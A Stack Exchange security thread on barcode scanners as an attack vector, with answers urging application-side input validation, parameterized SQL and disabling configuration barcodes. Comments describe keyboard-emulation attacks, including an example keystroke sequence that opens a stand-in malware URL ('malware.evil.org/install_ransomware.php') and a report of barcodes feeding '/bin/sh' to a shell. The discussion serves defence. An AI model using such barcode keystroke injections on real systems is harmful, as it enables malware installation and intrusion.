I was watching a defcon video a couple of weeks ago where a guy was demonstrating how barcode readers were generally quite easy to hack. He went on to say things such as with most systems the input isn't sanitised (sounds similar to SQL injection) and that most of them were configurable by bar codes easily obtained by the manufacturer. Combined with the fact that a machine can quickly be configured to read all types of barcodes including the ones that can store in excess of 1000 characters, are barcodes a vulnerability? And how could one prevent this?

So far the possible vulnerabilities I can see are SQL injection and buffer overflows.

  • 2
    Not a duplicate, but relevant: security.stackexchange.com/questions/127942/… – Anders Nov 25 '16 at 15:55
  • 1
    Is this the video you were talking about? Even if it isn't, good watch for those who are interested youtube.com/watch?v=qT_gwl1drhc – The6P4C Nov 28 '16 at 0:35
  • @The6P4C that was it! It's kind of funny how Australia post doesn't have an explicit way of checking whether you've paid – Rob Dawson Nov 28 '16 at 1:57
  • @Mark thanks for bringing up the keyboard point. I have personally created barcodes with simple "barcode generator" apps for things like /bin/sh and the shell will indeed execute the command. I have not successfully convinced one to execute arbitrary byte code payloads or anything. But can confirm the keyboard point. – eulerworks Nov 28 '16 at 3:57

Yes, barcode scanners present a potential vulnerability. You need to prevent attacks from this vector in the same way you'd prevent attacks from any input vector, such as a network connection or a keyboard.

  1. Validate inputs in the app, not the scanner. Do not rely on configuring the scanner to only deliver 12 digit UPC-A barcodes. As every web app developer quickly learns, trusting the client to perform input sanitization is a giant security hole. Use length checks in the app to ensure that buffer overflows can't be exploited. Perform white-listing value checks to make sure you don't have out-of-bounds characters (for example, if you're expecting the user to scan only a product UPC-A or EAN-13 barcode, you should throw an exception if the input detects any non-digit values.)

  2. Code defensively. Just as with a web app, you need to make secure coding choices such as parameterized SQL. You should already be doing this to protect against keyboard-entered SQL injection attacks; barcodes are nothing special here.

  3. Harden your devices. Most barcode scanners are initially configured by scanning a series of special manufacturer provided barcodes (your scanners' documentation will describe these symbols.) Read the scanners' documentation to find the way to configure the scanners from the host computer via the data connection. Once you can configure the scanners from the computer, do so. Among the configuration items to set, you should disable the scanner's ability to read the configuration barcodes.

  • 2
    While I agree, I'd extend "Step 1" to also validate input in the scanner, everything that interprets inputs needs them validated, and the first piece of the chain is the scanning/parsing of barcode itself. – domen Nov 25 '16 at 14:33
  • 3
    @domen, most input can't be validated in the scanner - QR, Code-128, 3 of 9, and many more are all-purpose symbologies where no input is invalid. The scanner internally needs to be coded to be attack resistant, but that's a problem for the scanner's firmware author. – John Deters Nov 25 '16 at 14:43
  • 1
    I disagree on point #3. Your code should be safe against whatever the scanner can dish out. At that point hardening the scanner provides no more security. However, relying on the scanner configuration for safety leaves you open when the scanner breaks and a new one is quickly configured and stuck on--and that's what's likely to happen when the production environment goes down due to a broken scanner. – Loren Pechtel Nov 26 '16 at 11:22
  • 1
    Just hope that your barcode scanner isn't connected to a web application, via a browser, because some of them can be made to produce arbitrary key presses which may be used to make the browser do funny things (open the developer console and perform "XSS" maybe)? – Matti Virkkunen Nov 26 '16 at 11:59
  • 1
    @MattiVirkkunen, it's worse than that. Malicious barcodes can reconfigure the scanner to be a keyboard, and then another barcode's input is treated like keys. This barcode can send <WIN>+R followed by anything the attacker wants to open, including a URL to malware. – John Deters Nov 26 '16 at 14:36

Many barcode scanners are treated by the operating system as a type of keyboard. This gives them exactly the same attack surface as somebody typing in the barcode's information at the keyboard. As an extreme example, a barcode scanner that understands byte-mode PDF 417 or binary QR code could command the computer to exit the current program, launch Internet Explorer, download a program from the website of the attacker's choice, and run that program.

  • 8
    That's just straight out dangerous... – Rob Dawson Nov 26 '16 at 1:17
  • 1
    Mark's point is why I said to harden the device. Let's say you limit the scanner to UPC-A only. By presenting the right sequence of configuration barcodes, the attacker can reconfigure the scanner to accept byte-mode PDF 417, and to act as a keyboard instead of a USB device. Finally, he sends the keystroke sequence <WIN>+R http :// malware.evil.org / install_ransomware.php <ENTER>. Game over. – John Deters Nov 26 '16 at 2:03
  • This sounds like it has great potential to make a sort of obfuscated code contest – Andy Nov 26 '16 at 15:09

Barcode is just a representation of input.

are barcodes a vulnerability? could be written as are inputs a vulnerability?. In itself no, but it's an attack vector.

Barcodes normally encode numerical, string or binary data. In addition to how that data can be used for exploitation at different levels (you mention buffer overflow, but it goes way up the software chain - barcodes can include URLs that are interpreted by OS/browser, and later by software on server side), also consider the parsing of barcodes itself, which might contain out of bounds accesses, overflows etc.

Prevention? As always, input validation an sanitation.


Without input validation everything is a possible attack vector. I even heard about a SQLI using number plates as the input source. When programming a speed camera, nobody would think of such a crazy idea, and that's the problem!


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.